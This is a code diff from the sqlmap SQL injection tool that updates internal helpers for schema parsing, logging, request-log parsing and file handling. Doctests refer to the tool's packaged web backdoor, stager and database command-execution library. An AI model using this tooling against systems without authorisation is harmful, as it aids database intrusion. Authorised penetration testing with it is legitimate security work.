+ >>> parseSqliteTableSchema("CREATE TABLE country_languages (\\n\\tcountry_id INTEGER NOT NULL,\\n\\tlanguage_id INTEGER NOT NULL,\\n\\tPRIMARY KEY (country_id, language_id),\\n\\tFOREIGN KEY (country_id) REFERENCES countries (country_id) ON DELETE CASCADE ON UPDATE NO ACTION,\\tFOREIGN KEY (language_id) REFERENCES languages (language_id) ON DELETE CASCADE ON UPDATE NO ACTION);");
+ True
+ >>> tuple(kb.data.cachedColumns[conf.db][conf.tbl].items()) == (('country_id', 'INTEGER'), ('language_id', 'INTEGER'))
True
"""
retVal = False
+ value = extractRegexResult(r"(?s)\((?P.+)\)", value)
+
if value:
table = {}
- columns = {}
+ columns = OrderedDict()
- for match in re.finditer(r"[(,]\s*[\"'`]?(\w+)[\"'`]?(?:\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b)?", decodeStringEscape(value), re.I):
+ value = re.sub(r"\(.+?\)", "", value).strip()
+
+ for match in re.finditer(r"(?:\A|,)\s*(([\"'`]).+?\2|\w+)(?:\s+(INT|INTEGER|TINYINT|SMALLINT|MEDIUMINT|BIGINT|UNSIGNED BIG INT|INT2|INT8|INTEGER|CHARACTER|VARCHAR|VARYING CHARACTER|NCHAR|NATIVE CHARACTER|NVARCHAR|TEXT|CLOB|LONGTEXT|BLOB|NONE|REAL|DOUBLE|DOUBLE PRECISION|FLOAT|REAL|NUMERIC|DECIMAL|BOOLEAN|DATE|DATETIME|NUMERIC)\b)?", decodeStringEscape(value), re.I):
+ column = match.group(1).strip(match.group(2) or "")
+ if re.search(r"(?i)\A(CONSTRAINT|PRIMARY|UNIQUE|CHECK|FOREIGN)\b", column.strip()):
+ continue
retVal = True
- columns[match.group(1)] = match.group(2) or "TEXT"
+
+ columns[column] = match.group(3) or "TEXT"
table[safeSQLIdentificatorNaming(conf.tbl, True)] = columns
- kb.data.cachedColumns[conf.db] = table
+ if conf.db in kb.data.cachedColumns:
+ kb.data.cachedColumns[conf.db].update(table)
+ else:
+ kb.data.cachedColumns[conf.db] = table
return retVal
@@ -3509,7 +3610,7 @@ def saveConfig(conf, filename):
config.set(family, option, value)
- with openFile(filename, "wb") as f:
+ with openFile(filename, 'w') as f:
try:
config.write(f)
except IOError as ex:
@@ -3543,7 +3644,7 @@ def initTechnique(technique=None):
else:
warnMsg = "there is no injection data available for technique "
warnMsg += "'%s'" % enumValueToNameLookup(PAYLOAD.TECHNIQUE, technique)
- logger.warn(warnMsg)
+ logger.warning(warnMsg)
except SqlmapDataException:
errMsg = "missing data in old session file(s). "
@@ -3572,6 +3673,8 @@ def unArrayizeValue(value):
>>> unArrayizeValue(['1'])
'1'
+ >>> unArrayizeValue('1')
+ '1'
>>> unArrayizeValue(['1', '2'])
'1'
>>> unArrayizeValue([['a', 'b'], 'c'])
@@ -3616,10 +3719,12 @@ def joinValue(value, delimiter=','):
'1,2'
>>> joinValue('1')
'1'
+ >>> joinValue(['1', None])
+ '1,None'
"""
if isListLike(value):
- retVal = delimiter.join(value)
+ retVal = delimiter.join(getText(_ if _ is not None else "None") for _ in value)
else:
retVal = value
@@ -3656,7 +3761,7 @@ def priorityFunction(test):
if test.stype == PAYLOAD.TECHNIQUE.UNION:
retVal = SORT_ORDER.LAST
- elif "details" in test and "dbms" in test.details:
+ elif "details" in test and "dbms" in (test.details or {}):
if intersect(test.details.dbms, Backend.getIdentifiedDbms()):
retVal = SORT_ORDER.SECOND
else:
@@ -3692,7 +3797,7 @@ def showHttpErrorCodes():
if kb.httpErrorCodes:
warnMsg = "HTTP error codes detected during run:\n"
warnMsg += ", ".join("%d (%s) - %d times" % (code, _http_client.responses[code] if code in _http_client.responses else '?', count) for code, count in kb.httpErrorCodes.items())
- logger.warn(warnMsg)
+ logger.warning(warnMsg)
if any((str(_).startswith('4') or str(_).startswith('5')) and _ != _http_client.INTERNAL_SERVER_ERROR and _ != kb.originalCode for _ in kb.httpErrorCodes):
msg = "too many 4xx and/or 5xx HTTP error codes "
msg += "could mean that some kind of protection is involved (e.g. WAF)"
@@ -3711,6 +3816,7 @@ def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="reversible",
# Reference: https://stackoverflow.com/a/37462452
if 'b' in mode:
buffering = 0
+ encoding = None
if filename == STDIN_PIPE_DASH:
if filename not in kb.cache.content:
@@ -3719,7 +3825,7 @@ def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="reversible",
return contextlib.closing(io.StringIO(readCachedFileContent(filename)))
else:
try:
- return codecs.open(filename, mode, encoding, errors, buffering)
+ return codecs_open(filename, mode, encoding, errors, buffering)
except IOError:
errMsg = "there has been a file opening error for filename '%s'. " % filename
errMsg += "Please check %s permissions on a file " % ("write" if mode and ('w' in mode or 'a' in mode or '+' in mode) else "read")
@@ -3765,29 +3871,6 @@ def decodeIntToUnicode(value):
return retVal
-def checkIntegrity():
- """
- Checks integrity of code files during the unhandled exceptions
- """
-
- if not paths:
- return
-
- logger.debug("running code integrity check")
-
- retVal = True
-
- baseTime = os.path.getmtime(paths.SQLMAP_SETTINGS_PATH) + 3600 # First hour free parking :)
- for root, _, filenames in os.walk(paths.SQLMAP_ROOT_PATH):
- for filename in filenames:
- if re.search(r"(\.py|\.xml|_)\Z", filename):
- filepath = os.path.join(root, filename)
- if os.path.getmtime(filepath) > baseTime:
- logger.error("wrong modification time of '%s'" % filepath)
- retVal = False
-
- return retVal
-
def getDaysFromLastUpdate():
"""
Get total number of days from last update
@@ -3920,13 +4003,14 @@ def createGithubIssue(errMsg, excMsg):
if closed:
warnMsg += " and resolved. Please update to the latest "
warnMsg += "development version from official GitHub repository at '%s'" % GIT_PAGE
- logger.warn(warnMsg)
+ logger.warning(warnMsg)
return
except:
pass
data = {"title": "Unhandled exception (#%s)" % key, "body": "```%s\n```\n```\n%s```" % (errMsg, excMsg)}
- req = _urllib.request.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=getBytes(json.dumps(data)), headers={HTTP_HEADER.AUTHORIZATION: "token %s" % decodeBase64(GITHUB_REPORT_OAUTH_TOKEN, binary=False), HTTP_HEADER.USER_AGENT: fetchRandomAgent()})
+ token = getText(zlib.decompress(decodeBase64(GITHUB_REPORT_OAUTH_TOKEN[::-1], binary=True))[0::2][::-1])
+ req = _urllib.request.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=getBytes(json.dumps(data)), headers={HTTP_HEADER.AUTHORIZATION: "token %s" % token, HTTP_HEADER.USER_AGENT: fetchRandomAgent()})
try:
content = getText(_urllib.request.urlopen(req).read())
@@ -3940,7 +4024,7 @@ def createGithubIssue(errMsg, excMsg):
logger.info(infoMsg)
try:
- with openFile(paths.GITHUB_HISTORY, "a+b") as f:
+ with openFile(paths.GITHUB_HISTORY, "a+") as f:
f.write("%s\n" % key)
except:
pass
@@ -3950,7 +4034,7 @@ def createGithubIssue(errMsg, excMsg):
warnMsg += " ('%s')" % _excMsg
if "Unauthorized" in warnMsg:
warnMsg += ". Please update to the latest revision"
- logger.warn(warnMsg)
+ logger.warning(warnMsg)
def maskSensitiveData(msg):
"""
@@ -3958,7 +4042,7 @@ def maskSensitiveData(msg):
>>> maskSensitiveData('python sqlmap.py -u "http://www.test.com/vuln.php?id=1" --banner') == 'python sqlmap.py -u *********************************** --banner'
True
- >>> maskSensitiveData('sqlmap.py -u test.com/index.go?id=index') == 'sqlmap.py -u **************************'
+ >>> maskSensitiveData('sqlmap.py -u test.com/index.go?id=index --auth-type=basic --auth-creds=foo:bar\\ndummy line') == 'sqlmap.py -u ************************** --auth-type=***** --auth-creds=*******\\ndummy line'
True
"""
@@ -3974,7 +4058,7 @@ def maskSensitiveData(msg):
retVal = retVal.replace(value, '*' * len(value))
# Just in case (for problematic parameters regarding user encoding)
- for match in re.finditer(r"(?i)[ -]-(u|url|data|cookie|auth-\w+|proxy|host|referer|headers?|H)( |=)(.*?)(?= -?-[a-z]|\Z)", retVal):
+ for match in re.finditer(r"(?im)[ -]-(u|url|data|cookie|auth-\w+|proxy|host|referer|headers?|H)( |=)(.*?)(?= -?-[a-z]|$)", retVal):
retVal = retVal.replace(match.group(3), '*' * len(match.group(3)))
# Fail-safe substitutions
@@ -4072,6 +4156,11 @@ def _(value):
payload = getUnicode(urldecode(payload.replace(PAYLOAD_DELIMITER, ""), convall=True))
regex = _(filterStringValue(payload, r"[A-Za-z0-9]", encodeStringEscape(REFLECTED_REPLACEMENT_REGEX)))
+ # NOTE: special case when part of the result shares the same output as the payload (e.g. ?id=1... and "sqlmap/1.0-dev (http://sqlmap.org)")
+ preserve = extractRegexResult(r"%s(?P.+?)%s" % (kb.chars.start, kb.chars.stop), content)
+ if preserve:
+ content = content.replace(preserve, REPLACEMENT_MARKER)
+
if regex != payload:
if all(part.lower() in content.lower() for part in filterNone(regex.split(REFLECTED_REPLACEMENT_REGEX))[1:]): # fast optimization check
parts = regex.split(REFLECTED_REPLACEMENT_REGEX)
@@ -4141,10 +4230,14 @@ def _thread(regex):
if not suppressWarning:
debugMsg = "turning off reflection removal mechanism (for optimization purposes)"
logger.debug(debugMsg)
- except MemoryError:
+
+ if preserve and retVal:
+ retVal = retVal.replace(REPLACEMENT_MARKER, preserve)
+
+ except (MemoryError, SystemError):
kb.reflectiveMechanism = False
if not suppressWarning:
- debugMsg = "turning off reflection removal mechanism (because of low memory issues)"
+ debugMsg = "turning off reflection removal mechanism"
logger.debug(debugMsg)
return retVal
@@ -4186,6 +4279,9 @@ def safeSQLIdentificatorNaming(name, isTable=False):
retVal = name
+ if conf.unsafeNaming:
+ return retVal
+
if isinstance(name, six.string_types):
retVal = getUnicode(name)
_ = isTable and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE)
@@ -4200,7 +4296,7 @@ def safeSQLIdentificatorNaming(name, isTable=False):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
retVal = "`%s`" % retVal
- elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA):
+ elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE):
retVal = "\"%s\"" % retVal
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
retVal = "\"%s\"" % retVal.upper()
@@ -4216,7 +4312,8 @@ def safeSQLIdentificatorNaming(name, isTable=False):
retVal = "[%s]" % retVal
if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal):
- retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal)
+ if (conf.db or "").lower() != "information_schema": # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5192
+ retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal)
return retVal
@@ -4238,7 +4335,7 @@ def unsafeSQLIdentificatorNaming(name):
if isinstance(name, six.string_types):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE):
retVal = name.replace("`", "")
- elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA):
+ elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE):
retVal = name.replace("\"", "")
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
retVal = name.replace("\"", "").upper()
@@ -4342,7 +4439,7 @@ def __init__(self):
if not options:
warnMsg = "mnemonic '%s' can't be resolved" % name
- logger.warn(warnMsg)
+ logger.warning(warnMsg)
elif name in options:
found = name
debugMsg = "mnemonic '%s' resolved to %s). " % (name, found)
@@ -4351,7 +4448,7 @@ def __init__(self):
found = sorted(options.keys(), key=len)[0]
warnMsg = "detected ambiguity (mnemonic '%s' can be resolved to any of: %s). " % (name, ", ".join("'%s'" % key for key in options))
warnMsg += "Resolved to shortest of those ('%s')" % found
- logger.warn(warnMsg)
+ logger.warning(warnMsg)
if found:
found = options[found]
@@ -4423,34 +4520,32 @@ def randomizeParameterValue(value):
retVal = value
- value = re.sub(r"%[0-9a-fA-F]{2}", "", value)
+ retVal = re.sub(r"%[0-9a-fA-F]{2}", "", retVal)
- for match in re.finditer(r"[A-Z]+", value):
+ def _replace_upper(match):
+ original = match.group()
while True:
- original = match.group()
- candidate = randomStr(len(match.group())).upper()
- if original != candidate:
- break
+ candidate = randomStr(len(original)).upper()
+ if candidate != original:
+ return candidate
- retVal = retVal.replace(original, candidate)
-
- for match in re.finditer(r"[a-z]+", value):
+ def _replace_lower(match):
+ original = match.group()
while True:
- original = match.group()
- candidate = randomStr(len(match.group())).lower()
- if original != candidate:
- break
+ candidate = randomStr(len(original)).lower()
+ if candidate != original:
+ return candidate
- retVal = retVal.replace(original, candidate)
-
- for match in re.finditer(r"[0-9]+", value):
+ def _replace_digit(match):
+ original = match.group()
while True:
- original = match.group()
- candidate = str(randomInt(len(match.group())))
- if original != candidate:
- break
+ candidate = str(randomInt(len(original)))
+ if candidate != original:
+ return candidate
- retVal = retVal.replace(original, candidate)
+ retVal = re.sub(r"[A-Z]+", _replace_upper, retVal)
+ retVal = re.sub(r"[a-z]+", _replace_lower, retVal)
+ retVal = re.sub(r"[0-9]+", _replace_digit, retVal)
if re.match(r"\A[^@]+@.+\.[a-z]+\Z", value):
parts = retVal.split('.')
@@ -4566,7 +4661,7 @@ def isAdminFromPrivileges(privileges):
return retVal
-def findPageForms(content, url, raise_=False, addToTargets=False):
+def findPageForms(content, url, raiseException=False, addToTargets=False):
"""
Parses given page content for possible forms (Note: still not implemented for Python3)
@@ -4584,7 +4679,7 @@ def geturl(self):
if not content:
errMsg = "can't parse forms as the page content appears to be blank"
- if raise_:
+ if raiseException:
raise SqlmapGenericException(errMsg)
else:
logger.debug(errMsg)
@@ -4606,7 +4701,7 @@ def geturl(self):
forms = ParseResponse(filtered, backwards_compat=False)
except:
errMsg = "no success"
- if raise_:
+ if raiseException:
raise SqlmapGenericException(errMsg)
else:
logger.debug(errMsg)
@@ -4633,14 +4728,14 @@ def geturl(self):
except (ValueError, TypeError) as ex:
errMsg = "there has been a problem while "
errMsg += "processing page forms ('%s')" % getSafeExString(ex)
- if raise_:
+ if raiseException:
raise SqlmapGenericException(errMsg)
else:
logger.debug(errMsg)
else:
url = urldecode(request.get_full_url(), kb.pageEncoding)
method = request.get_method()
- data = request.data
+ data = unArrayizeValue(request.data)
data = urldecode(data, kb.pageEncoding, spaceplus=False)
if not data and method and method.upper() == HTTPMETHOD.POST:
@@ -4685,7 +4780,7 @@ def geturl(self):
if not retVal and not conf.crawlDepth:
errMsg = "there were no forms found at the given target URL"
- if raise_:
+ if raiseException:
raise SqlmapGenericException(errMsg)
else:
logger.debug(errMsg)
@@ -4716,7 +4811,17 @@ def _(value):
value = "http://%s" % value
return value
- return all(re.sub(r"(?i)\Awww\.", "", _urllib.parse.urlparse(_(url) or "").netloc.split(':')[0]) == re.sub(r"(?i)\Awww\.", "", _urllib.parse.urlparse(_(urls[0]) or "").netloc.split(':')[0]) for url in urls[1:])
+ first = _urllib.parse.urlparse(_(urls[0]) or "").hostname or ""
+ first = re.sub(r"(?i)\Awww\.", "", first)
+
+ for url in urls[1:]:
+ current = _urllib.parse.urlparse(_(url) or "").hostname or ""
+ current = re.sub(r"(?i)\Awww\.", "", current)
+
+ if current != first:
+ return False
+
+ return True
def getHostHeader(url):
"""
@@ -4757,7 +4862,7 @@ def checkOldOptions(args):
warnMsg = "switch/option '%s' is deprecated" % _
if DEPRECATED_OPTIONS[_]:
warnMsg += " (hint: %s)" % DEPRECATED_OPTIONS[_]
- logger.warn(warnMsg)
+ logger.warning(warnMsg)
def checkSystemEncoding():
"""
@@ -4775,7 +4880,7 @@ def checkSystemEncoding():
logger.critical(errMsg)
warnMsg = "temporary switching to charset 'cp1256'"
- logger.warn(warnMsg)
+ logger.warning(warnMsg)
_reload_module(sys)
sys.setdefaultencoding("cp1256")
@@ -4863,6 +4968,12 @@ def decodeDbmsHexValue(value, raw=False):
>>> decodeDbmsHexValue('3132332031') == u'123 1'
True
+ >>> decodeDbmsHexValue('31003200330020003100') == u'123 1'
+ True
+ >>> decodeDbmsHexValue('00310032003300200031') == u'123 1'
+ True
+ >>> decodeDbmsHexValue('0x31003200330020003100') == u'123 1'
+ True
>>> decodeDbmsHexValue('313233203') == u'123 ?'
True
>>> decodeDbmsHexValue(['0x31', '0x32']) == [u'1', u'2']
@@ -4901,6 +5012,9 @@ def _(value):
if not isinstance(retVal, six.text_type):
retVal = getUnicode(retVal, conf.encoding or UNICODE_ENCODING)
+ if u"\x00" in retVal:
+ retVal = retVal.replace(u"\x00", u"")
+
return retVal
try:
@@ -4916,6 +5030,10 @@ def extractExpectedValue(value, expected):
>>> extractExpectedValue(['1'], EXPECTED.BOOL)
True
+ >>> extractExpectedValue(['17'], EXPECTED.BOOL)
+ True
+ >>> extractExpectedValue(['0'], EXPECTED.BOOL)
+ False
>>> extractExpectedValue('1', EXPECTED.INT)
1
>>> extractExpectedValue('7\\xb9645', EXPECTED.INT) is None
@@ -4936,10 +5054,10 @@ def extractExpectedValue(value, expected):
value = value == "true"
elif value in ('t', 'f'):
value = value == 't'
- elif value in ("1", "-1"):
- value = True
elif value == '0':
value = False
+ elif re.search(r"\A-?[1-9]\d*\Z", value):
+ value = True
else:
value = None
elif expected == EXPECTED.INT:
@@ -4989,12 +5107,13 @@ def resetCookieJar(cookieJar):
logger.info(infoMsg)
content = readCachedFileContent(conf.loadCookies)
+ content = re.sub("(?im)^#httpOnly_", "", content)
lines = filterNone(line.strip() for line in content.split("\n") if not line.startswith('#'))
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.COOKIE_JAR)
os.close(handle)
# Reference: http://www.hashbangcode.com/blog/netscape-http-cooke-file-parser-php-584.html
- with openFile(filename, "w+b") as f:
+ with openFile(filename, "w+") as f:
f.write("%s\n" % NETSCAPE_FORMAT_HEADER_COOKIES)
for line in lines:
_ = line.split("\t")
@@ -5026,18 +5145,14 @@ def decloakToTemp(filename):
"""
Decloaks content of a given file to a temporary file with similar name and extension
- >>> _ = decloakToTemp(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.asp_"))
- >>> openFile(_, "rb", encoding=None).read().startswith(b'<%')
+ NOTE: using in-memory decloak() in docTests because of the "problem" on Windows platform
+
+ >>> decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.asp_")).startswith(b'<%')
True
- >>> os.remove(_)
- >>> _ = decloakToTemp(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.asp_"))
- >>> openFile(_, "rb", encoding=None).read().startswith(b'<%')
+ >>> decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.asp_")).startswith(b'<%')
True
- >>> os.remove(_)
- >>> _ = decloakToTemp(os.path.join(paths.SQLMAP_UDF_PATH, "postgresql", "linux", "64", "11", "lib_postgresqludf_sys.so_"))
- >>> b'sys_eval' in openFile(_, "rb", encoding=None).read()
+ >>> b'sys_eval' in decloak(os.path.join(paths.SQLMAP_UDF_PATH, "postgresql", "linux", "64", "11", "lib_postgresqludf_sys.so_"))
True
- >>> os.remove(_)
"""
content = decloak(filename)
@@ -5057,14 +5172,16 @@ def prioritySortColumns(columns):
Sorts given column names by length in ascending order while those containing
string 'id' go first
- >>> prioritySortColumns(['password', 'userid', 'name'])
- ['userid', 'name', 'password']
+ >>> prioritySortColumns(['password', 'userid', 'name', 'id'])
+ ['id', 'userid', 'name', 'password']
"""
- def _(column):
- return column and re.search(r"^id|id$", column, re.I) is not None
+ recompile = re.compile(r"^id|id$", re.I)
- return sorted(sorted(columns, key=len), key=functools.cmp_to_key(lambda x, y: -1 if _(x) and not _(y) else 1 if not _(x) and _(y) else 0))
+ return sorted(columns, key=lambda col: (
+ not (col and recompile.search(col)),
+ len(col)
+ ))
def getRequestHeader(request, name):
"""
@@ -5188,6 +5305,9 @@ def _parseWebScarabLog(content):
Parses WebScarab logs (POST method not supported)
"""
+ if WEBSCARAB_SPLITTER not in content:
+ return
+
reqResList = content.split(WEBSCARAB_SPLITTER)
for request in reqResList:
@@ -5206,7 +5326,7 @@ def _parseWebScarabLog(content):
logger.warning(warnMsg)
continue
- if not(conf.scope and not re.search(conf.scope, url, re.I)):
+ if not (conf.scope and not re.search(conf.scope, url, re.I)):
yield (url, method, None, cookie, tuple())
def _parseBurpLog(content):
@@ -5226,7 +5346,7 @@ def _parseBurpLog(content):
_ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request)
if _:
host = _.group(0).strip()
- if not re.search(r":\d+\Z", host):
+ if not re.search(r":\d+\Z", host) and int(port) != 80:
request = request.replace(host, "%s:%d" % (host, int(port)))
reqResList.append(request)
else:
@@ -5249,10 +5369,12 @@ def _parseBurpLog(content):
if "HTTP/" not in request:
continue
- if re.search(r"^[\n]*%s.*?\.(%s)\sHTTP\/" % (HTTPMETHOD.GET, "|".join(CRAWL_EXCLUDE_EXTENSIONS)), request, re.I | re.M):
- continue
+ if re.search(r"^[\n]*%s[^?]*?\.(%s)\sHTTP\/" % (HTTPMETHOD.GET, "|".join(CRAWL_EXCLUDE_EXTENSIONS)), request, re.I | re.M):
+ if not re.search(r"^[\n]*%s[^\n]*\*[^\n]*\sHTTP\/" % HTTPMETHOD.GET, request, re.I | re.M):
+ continue
getPostReq = False
+ forceBody = False
url = None
host = None
method = None
@@ -5269,11 +5391,13 @@ def _parseBurpLog(content):
if not line.strip() and index == len(lines) - 1:
break
+ line = re.sub(INJECT_HERE_REGEX, CUSTOM_INJECTION_MARK_CHAR, line)
+
newline = "\r\n" if line.endswith('\r') else '\n'
line = line.strip('\r')
match = re.search(r"\A([A-Z]+) (.+) HTTP/[\d.]+\Z", line) if not method else None
- if len(line.strip()) == 0 and method and method != HTTPMETHOD.GET and data is None:
+ if len(line.strip()) == 0 and method and (method != HTTPMETHOD.GET or forceBody) and data is None:
data = ""
params = True
@@ -5310,16 +5434,18 @@ def _parseBurpLog(content):
elif key.upper() == HTTP_HEADER.HOST.upper():
if '://' in value:
scheme, value = value.split('://')[:2]
- splitValue = value.split(":")
- host = splitValue[0]
- if len(splitValue) > 1:
- port = filterStringValue(splitValue[1], "[0-9]")
+ port = extractRegexResult(r":(?P\d+)\Z", value)
+ if port:
+ host = value[:-(1 + len(port))]
+ else:
+ host = value
# Avoid to add a static content length header to
# headers and consider the following lines as
# POSTed data
if key.upper() == HTTP_HEADER.CONTENT_LENGTH.upper():
+ forceBody = True
params = True
# Avoid proxy and connection type related headers
@@ -5350,7 +5476,7 @@ def _parseBurpLog(content):
scheme = None
port = None
- if not(conf.scope and not re.search(conf.scope, url, re.I)):
+ if not (conf.scope and not re.search(conf.scope, url, re.I)):
yield (url, conf.method or method, data, cookie, tuple(headers))
content = readCachedFileContent(reqFile)
@@ -5358,6 +5484,12 @@ def _parseBurpLog(content):
if conf.scope:
logger.info("using regular expression '%s' for filtering targets" % conf.scope)
+ try:
+ re.compile(conf.scope)
+ except Exception as ex:
+ errMsg = "invalid regular expression '%s' ('%s')" % (conf.scope, getSafeExString(ex))
+ raise SqlmapSyntaxException(errMsg)
+
for target in _parseBurpLog(content):
yield target
@@ -5448,6 +5580,7 @@ def removePostHintPrefix(value):
return re.sub(r"\A(%s) " % '|'.join(re.escape(__) for __ in getPublicTypeMembers(POST_HINT, onlyValues=True)), "", value)
+
def chunkSplitPostData(data):
"""
Convert POST data to chunked transfer-encoded data (Note: splitting done by SQL keywords)
@@ -5458,7 +5591,7 @@ def chunkSplitPostData(data):
"""
length = len(data)
- retVal = ""
+ retVal = []
index = 0
while index < length:
@@ -5478,9 +5611,38 @@ def chunkSplitPostData(data):
break
index += chunkSize
- retVal += "%x;%s\r\n" % (chunkSize, salt)
- retVal += "%s\r\n" % candidate
- retVal += "0\r\n\r\n"
+ # Append to list instead of recreating the string
+ retVal.append("%x;%s\r\n" % (chunkSize, salt))
+ retVal.append("%s\r\n" % candidate)
+
+ retVal.append("0\r\n\r\n")
+
+ return "".join(retVal)
+
+def checkSums():
+ """
+ Validate the content of the digest file (i.e. sha256sums.txt)
+ >>> checkSums()
+ True
+ """
+
+ retVal = True
+
+ if paths.get("DIGEST_FILE"):
+ for entry in getFileItems(paths.DIGEST_FILE):
+ match = re.search(r"([0-9a-f]+)\s+([^\s]+)", entry)
+ if match:
+ expected, filename = match.groups()
+ filepath = os.path.join(paths.SQLMAP_ROOT_PATH, filename).replace('/', os.path.sep)
+ if not checkFile(filepath, False):
+ continue
+ with open(filepath, "rb") as f:
+ content = f.read()
+ if b'\0' not in content:
+ content = content.replace(b"\r\n", b"\n")
+ if not hashlib.sha256(content).hexdigest() == expected:
+ retVal &= False
+ break
return retVal
diff --git a/lib/core/compat.py b/lib/core/compat.py
index 6c3f4b7bd30..7020863da46 100644
--- a/lib/core/compat.py
+++ b/lib/core/compat.py
@@ -1,17 +1,20 @@
#!/usr/bin/env python
"""
-Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
from __future__ import division
+import codecs
import binascii
import functools
+import io
import math
import os
import random
+import re
import sys
import time
import uuid
@@ -167,8 +170,27 @@ def whseed(self, a=None):
def patchHeaders(headers):
if headers is not None and not hasattr(headers, "headers"):
+ if isinstance(headers, dict):
+ class _(dict):
+ def __getitem__(self, key):
+ for key_ in self:
+ if key_.lower() == key.lower():
+ return super(_, self).__getitem__(key_)
+
+ raise KeyError(key)
+
+ def get(self, key, default=None):
+ try:
+ return self[key]
+ except KeyError:
+ return default
+
+ headers = _(headers)
+
headers.headers = ["%s: %s\r\n" % (header, headers[header]) for header in headers]
+ return headers
+
def cmp(a, b):
"""
>>> cmp("a", "b")
@@ -257,3 +279,151 @@ def __hash__(self):
else:
xrange = xrange
buffer = buffer
+
+def LooseVersion(version):
+ """
+ >>> LooseVersion("1.0") == LooseVersion("1.0")
+ True
+ >>> LooseVersion("1.0.1") > LooseVersion("1.0")
+ True
+ >>> LooseVersion("1.0.1-") == LooseVersion("1.0.1")
+ True
+ >>> LooseVersion("1.0.11") < LooseVersion("1.0.111")
+ True
+ >>> LooseVersion("foobar") > LooseVersion("1.0")
+ False
+ >>> LooseVersion("1.0") > LooseVersion("foobar")
+ False
+ >>> LooseVersion("3.22-mysql") == LooseVersion("3.22-mysql-ubuntu0.3")
+ True
+ >>> LooseVersion("8.0.22-0ubuntu0.20.04.2")
+ 8.000022
+ """
+
+ match = re.search(r"\A(\d[\d.]*)", version or "")
+
+ if match:
+ result = 0
+ value = match.group(1)
+ weight = 1.0
+ for part in value.strip('.').split('.'):
+ if part.isdigit():
+ result += int(part) * weight
+ weight *= 1e-3
+ else:
+ result = float("NaN")
+
+ return result
+
+# NOTE: codecs.open re-implementation (deprecated in Python 3.14)
+
+try:
+ # Py2
+ _text_type = unicode
+ _bytes_types = (str, bytearray)
+except NameError:
+ # Py3
+ _text_type = str
+ _bytes_types = (bytes, bytearray, memoryview)
+
+_WRITE_CHARS = ("w", "a", "x", "+")
+
+def _is_write_mode(mode):
+ return any(ch in mode for ch in _WRITE_CHARS)
+
+class MixedWriteTextIO(object):
+ """
+ Text-ish stream wrapper that accepts both text and bytes in write().
+ Bytes are decoded using the file's (encoding, errors) before writing.
+
+ Optionally approximates line-buffering by flushing when a newline is written.
+ """
+ def __init__(self, fh, encoding, errors, line_buffered=False):
+ self._fh = fh
+ self._encoding = encoding
+ self._errors = errors
+ self._line_buffered = line_buffered
+
+ def write(self, data):
+ # bytes-like but not text -> decode
+ if isinstance(data, _bytes_types) and not isinstance(data, _text_type):
+ data = bytes(data).decode(self._encoding, self._errors)
+ elif not isinstance(data, _text_type):
+ data = _text_type(data)
+
+ n = self._fh.write(data)
+
+ # Approximate "line buffering" behavior if requested
+ if self._line_buffered and u"\n" in data:
+ try:
+ self._fh.flush()
+ except Exception:
+ pass
+
+ return n
+
+ def writelines(self, lines):
